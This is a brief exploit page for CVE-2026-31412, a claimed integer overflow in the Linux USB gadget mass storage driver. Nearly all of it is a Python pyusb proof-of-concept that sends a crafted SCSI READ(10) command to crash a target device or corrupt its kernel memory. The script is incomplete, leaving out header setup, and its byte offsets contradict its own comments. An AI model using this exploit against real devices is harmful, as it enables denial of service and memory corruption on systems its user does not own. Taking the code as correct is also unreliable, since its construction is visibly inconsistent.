CVE-2026-31412: Linux内核USB整数溢出漏洞

import usb.core import usb.util # PoC: CVE-2026-31412 # This script attempts to trigger the integer overflow in the Linux USB Gadget f_mass_storage driver. # It requires a target Linux device configured as a USB Mass Storage gadget. # Find the USB Mass Storage Gadget device dev = usb.core.find(idVendor=0x0525, idProduct=0xa4a5) # Example IDs for File-backed Storage Gadget if dev is None: raise ValueError('Device not found') # Detach kernel driver if active for cfg in dev: for intf in cfg: if dev.is_kernel_driver_active(intf.bInterfaceNumber): dev.detach_kernel_driver(intf.bInterfaceNumber) dev.set_configuration() # Endpoint selection # Assuming endpoint 1 is Bulk OUT and endpoint 2 is Bulk IN ep_out = dev[0][(0,0)][1] ep_in = dev[0][(0,0)][2] # Construct a malicious SCSI READ(10) Command # Objective: Trigger overflow in check_command_size_in_blocks # data_size_from_cmnd (bytes 2-5) set to a large value to cause shift overflow with blkbits cbw = bytearray(31) cbw[0] = 0x55 # Signature cbw[1] = 0x53 # Signature # ... (CBW headers setup) cbw[15] = 0x28 # Opcode: READ(10) # Set allocation length (bytes 7-10 in SCSI CDB, mapped to data_size_from_cmnd) # A large value to trigger overflow when shifted left by blkbits cbw[20] = 0xFF cbw[21] = 0xFF cbw[22] = 0xFF cbw[23] = 0xFF try: # Send the Command Block Wrapper ep_out.write(cbw) print("Malicious SCSI command sent.") # The kernel gadget should process this and potentially crash or corrupt memory except usb.core.USBError as e: print(f"USB Error: {e}") finally: usb.util.dispose_resources(dev)